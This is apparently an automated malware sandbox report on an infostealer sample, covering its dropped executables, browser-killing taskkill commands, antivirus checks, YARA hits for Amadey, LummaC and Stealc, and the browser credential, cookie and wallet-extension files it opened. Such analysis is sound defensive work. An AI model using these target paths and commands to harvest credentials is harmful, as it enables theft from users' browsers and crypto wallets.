Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe "C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe "C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe "C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe "C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe "C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe "C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe "C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe"
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00210B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 6_2_00210B62
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00211663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid, 6_2_00211663
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000000.1953763207.0000000000272000.00000002.00000001.01000000.00000009.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: KGMUJDGOAL6LWD7UD45LIZ.exe, KGMUJDGOAL6LWD7UD45LIZ.exe, 00000004.00000002.1985079257.0000000000F76000.00000040.00000001.01000000.00000006.sdmp, 2SGVUOBNN8HUJ5IDUWDR.exe, 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2016776630.000000000083B000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: Program Manager
Source: 4V88JM9ZW2IZ0ZQGW7B.exe Binary or memory string: Shell_TrayWnd
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D0698 cpuid 6_2_001D0698
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00228195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW, 6_2_00228195
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0020D27A GetUserNameW, 6_2_0020D27A
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001EBB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte, 6_2_001EBB6F
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 6_2_001B42DE
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: file.exe, 00000000.00000003.1935641056.00000000058BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1843804812.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1843977278.0000000001188000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 9.2.skotes.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.skotes.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.KGMUJDGOAL6LWD7UD45LIZ.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.1984616145.0000000000D81000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2013241583.0000000000611000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000003.2305899865.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.1943080135.0000000005480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2030670684.0000000000611000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.1990335969.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.1972941504.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 4V88JM9ZW2IZ0ZQGW7B.exe PID: 8040, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7428, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 9b7d422018.exe PID: 3408, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 48bf814d33.exe PID: 3940, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: Process Memory Space: 9b7d422018.exe PID: 6316, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 20b68761b3.exe PID: 7704, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 28.2.a4769912c1.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.7617eef03d.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.a4769912c1.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.2SGVUOBNN8HUJ5IDUWDR.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2652934393.0000000000311000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.2547341621.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000003.2602234805.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.2652114564.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2016380463.0000000000451000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000003.2499099366.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000003.2774586954.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.1961420367.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2753806901.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000003.2690081341.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2SGVUOBNN8HUJ5IDUWDR.exe PID: 8020, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: a4769912c1.exe PID: 2696, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7617eef03d.exe PID: 6788, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: a4769912c1.exe PID: 7928, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: file.exe, 00000000.00000003.1743164096.0000000001180000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Electrum0JlN9r
Source: file.exe, 00000000.00000003.1743164096.0000000001180000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\ElectronCash\walletsI
Source: file.exe String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.1743164096.0000000001180000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.jsonETVy
Source: file.exe, 00000000.00000003.1743164096.0000000001180000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe String found in binary or memory: ExodusWeb3
Source: 9b7d422018.exe, 0000001F.00000003.2650632814.0000000000705000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000003.1743164096.0000000001180000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Ethereum5b
Source: file.exe, 00000000.00000003.1832069842.000000000115A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: firefox.exe, 00000015.00000003.2207149416.0000016C0CE09000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: OSKeyStore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
